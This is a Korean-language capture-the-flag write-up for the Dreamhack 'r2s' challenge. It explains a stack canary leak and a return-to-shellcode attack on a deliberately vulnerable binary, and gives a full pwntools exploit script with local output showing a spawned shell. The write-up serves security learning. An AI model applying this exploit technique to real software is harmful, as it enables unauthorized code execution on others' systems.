

[Dreamhack.io] r2s Write-Up

- Platform: Dreamhack
- Date: 2026-08-18 (solved) / 2026-08-21 (written)
- Difficulty: Easy
- Tags: #pwn #return_to_shellcode #canary_leak

1. Challenge Overview (문제 개요)

문제 요약

- 목표: Flag 획득 (/flag 읽기 또는 execve 쉘 획득)
- 제공 파일: r2s , r2s.c
- 보호 기법 (Checksec):

Arch:	amd64-64-little
RELRO:	Full RELRO
Stack:	Canary found
NX:	NX unknown - GNU_STACK missing
PIE:	PIE enabled
Stack:	Executable
RWX:	Has RWX segments
Stripped:	No

2. Vulnerability Analysis (취약점 분석)

소스 코드 / 디컴파일 분석

```
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

int main() {
    char buf[0x50];
```

```

init();

printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
       (char*)__builtin_frame_address(0) - buf);

printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);

read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);

puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);

return 0;
}

```

- 스택에 있는 `buf` 변수의 주소와 `buf` 변수와 `Saved rbp` 간의 오프셋이 주어짐
- Canary가 존재하기 때문에 `RET` 주소를 변경하기 위해서는 Canary를 알아야 함
- 이후 셸 코드 + 더미값 + Canary + 더미값(`SBP`) + `buf` 주소(`RET`)을 입력하여 실행 가능한 스택 부분(`buf`)로 리턴한 뒤, 셸 코드를 실행할 수 있음

Canary

- 스택 프레임에서 `SBP` (`Saved RBP`) 위에 존재하며 함수가 종료되어 리턴될 때, 해당 값이 변조가 되면 `stack smashing` 에러 문구를 띄우며 프로그램을 종료시킴
- Canary 부분 다음에는 지역 변수의 값들이 저장되는데, `read`, `puts` 등 널 바이트를 통해 문자열의 종료를 알아내는 함수들의 사용을 위해서 **Canary 가장 최상위 비트는 `\x00` 으로 설정**되어 있음
=> 따라서 해당 메모리를 널 바이트가 아닌 값으로 넣기만 하면 Canary Leak이 가능하다

취약점 원인 (Root Cause)

- **발생 원인**: 실행 가능한 스택으로 인해 셸 코드 삽입 및 실행 가능
- **파급 효과**: 시스템 콜 실행 가능

3. Exploit Strategy (최종 해결 전략)

✓ 돌파구 (Breakthrough)

`buf` 변수에 셸 코드를 삽입한 뒤, `main` 함수의 리턴 주소를 `buf` 변수로 변조하여 셸 코드를 실행한다.

1. Canary의 최상위 비트까지 0이 아닌 더미값으로 입력한다.
2. 출력으로 나온 Canary를 통해 두 번째 페이로드를 다음과 같이 설정한다.
 - buf : 셸 코드 + 더미값
 - buf 부터 Canary 부분 전까지 더미값으로 채우고
 - Leak된 Canary를 넣은 뒤, Ret 주소를 buf 변수의 주소로 바꾼다.

4. Exploit Code (최종 코드)

```
#!/usr/bin/python3
from pwn import *

context.arch = 'amd64'

p = process('./r2s')
# p = remote('IP', PORT)

# [1] catch the information
p.recvuntil(b'Address of the buf: ')
buf_addr = int(p.recvuntil(b'\n'), 16)

p.recvuntil(b'Distance between buf and $rbp: ')
offset_buf_rbp = int(p.recvuntil(b'\n'), 10)

# [2] Leak canary
payload = b'A' * (offset_buf_rbp - 0x8) + b'B'
p.sendafter(b'Input: ', payload)

p.recvuntil(b'B')
canary_leaked = u64(b'\x00' + p.recv(7))

print(f"{hex(buf_addr)=}")
print(f"{offset_buf_rbp=}")
print(f"{hex(canary_leaked)=}")

# [3] return to shell
shellcode = asm(shellcraft.sh())
payload = shellcode # buf
payload += b'A' * (0x50 - len(shellcode)) # remained buf
payload += b'B' * (offset_buf_rbp - 0x50 - 0x8) # padding
payload += p64(canary_leaked) # canary
payload += p64(0xDEADBEEF) # SBP
payload += p64(buf_addr) # RET

p.sendlineafter(b'Input: ', payload)

p.interactive()
```

- 로컬 환경에서 실행한 결과이다.

```
[*] Starting local process './r2s': pid 1658
hex(buf_addr)='0x7ffd07fc7cf0'
offset_buf_rbp=96
hex(canary_leaked)='0x6ddbc8f781059900'
[*] Switching to interactive mode
$ ls
r2s  r2s.c  solve.py
$
```